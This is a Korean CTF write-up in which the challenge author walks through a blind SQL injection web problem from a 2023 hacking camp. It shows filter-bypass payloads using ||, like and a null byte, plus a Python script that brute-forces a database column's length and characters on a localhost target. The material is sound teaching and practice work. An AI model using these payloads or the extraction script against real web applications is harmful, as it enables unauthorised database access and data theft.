CTF/CTF 문제제작&Write up

[26회 해킹캠프 CTF Write-up] Web - 이 노래 제목이 뭐였더라..?

ruming 2023. 2. 11. 19:44

안녕하세요. 2023년 2월 11일 ~ 12일 사이에 진행된 동계 해킹캠프의 Web 문제 출제자입니다.

 

문제 화면입니다.

 

이 문제는 SQL Injection 문제입니다.

문제 description을 보시면 노래의 일련번호(serial_number)를 찾아달라고 합니다.

먼저 노래의 제목은 구글링하시면 알 수 있습니다.

이 노래의 제목은 Banana Shake 인데요, input에 노래 제목을 검색해보겠습니다.

제목을 검색하면 노래 제목과 가수, 노래 순서가 표로 출력됩니다.

일련번호는 DB에서 찾아내야 합니다.

 

여기서 힌트를 잠시 보겠습니다.

소스코드를 보시면 테이블 명이 나와있네요. 또 일련번호의 길이는 모두 같다고 합니다.

input에는 다음과 같은 여러가지 필터링이 걸려있습니다.

or, and, union, #, =, \, *, /, -

일련번호의 길이가 모두 같다고 했으니 길이를 구해봅시다. 

일련번호 컬럼 이름은 제목에서 힌트를 드렸는데요, serial_number가 컬럼 이름입니다.

?number=’ || length(serial_number) like 1;%00

위와 같은 방식으로 숫자를 1씩 늘려가며(빨간 글씨) 공격하여 serial_number의 길이를 구할 수 있습니다. 이 부분은 뒤에 스크립트에서 확인하실 수 있습니다.

 

맞지 않는 길이를 입력하면 위와 같이 아무 결과도 출력되지 않습니다.

 

맞는 길이로 공격하면 다음과 같이 테이블 내의 모든 행이 출력되게 됩니다.

같은 방법으로 ascii 함수와 substr 등의 함수를 이용해서 serial_number의 문자를 한 개씩 구할 수가 있습니다. 기본적인 원리는 다음과 같습니다.

?number=’ || ascii(substr((select serial_number from musicbox where title like “Banana Shake”,1,1)) like 48;%00

 

파이썬 자동화 스크립트를 이용해 serial_number의 길이와 문자를 알아낼 수 있습니다.

#Find Serial Number
import requests

url = "http://localhost/hcmp/index.php"
num = ""
length = 1

while True:
    query = "?number=' || length(serial_number) like "+str(length)+";%00"
    res = requests.get(url+query)
    if "Banana Shake" in res.text:
        print("length : "+str(length))
        break
    print(length)
    length += 1

for i in range(1, 9):
    for j in range(48, 123):
        query = "?number=' || ascii(substr((select serial_number from musicbox where title like \"Banana Shake\"),"+str(i)+",1)) like "+str(j)+";%00"
        res = requests.get(url+query)
        if "Banana Shake" in res.text:
            num += chr(j)
            print("gacha! : "+num)
            break

print("Serial number : "+num)

이 스크립트를 실행하면 다음과 같이 길이와 문자를 알 수 있습니다.

serial number는 15119241이네요. 이제 이 넘버를 input에 입력해보겠습니다.

 

그럼 위와 같이 플래그를 얻으실 수 있습니다.

 

문제를 푸는 과정에서 접근 과정이 다소 어색하셨을 수도 있을 것 같습니다. 문제의 의도대로 힌트를 드리려고 노력했는데 부족한 부분이 있었던 것 같습니다.

문제를 풀어주신 모든 참가자 여러분께 감사드리며 앞으로 더 좋은 문제 만들도록 노력하겠습니다.

 

혹시 write-up에서 이해가 되지 않거나 더 알고 싶은 부분이 있으면 해킹캠프 디스코드에서 닉네임 'ruming' 으로 DM 주시면 답변 드리겠습니다. 감사합니다.

 

해당 글은 비공개로 작성 후 해캠 CTF가 끝나고 공개 처리된 글입니다 :)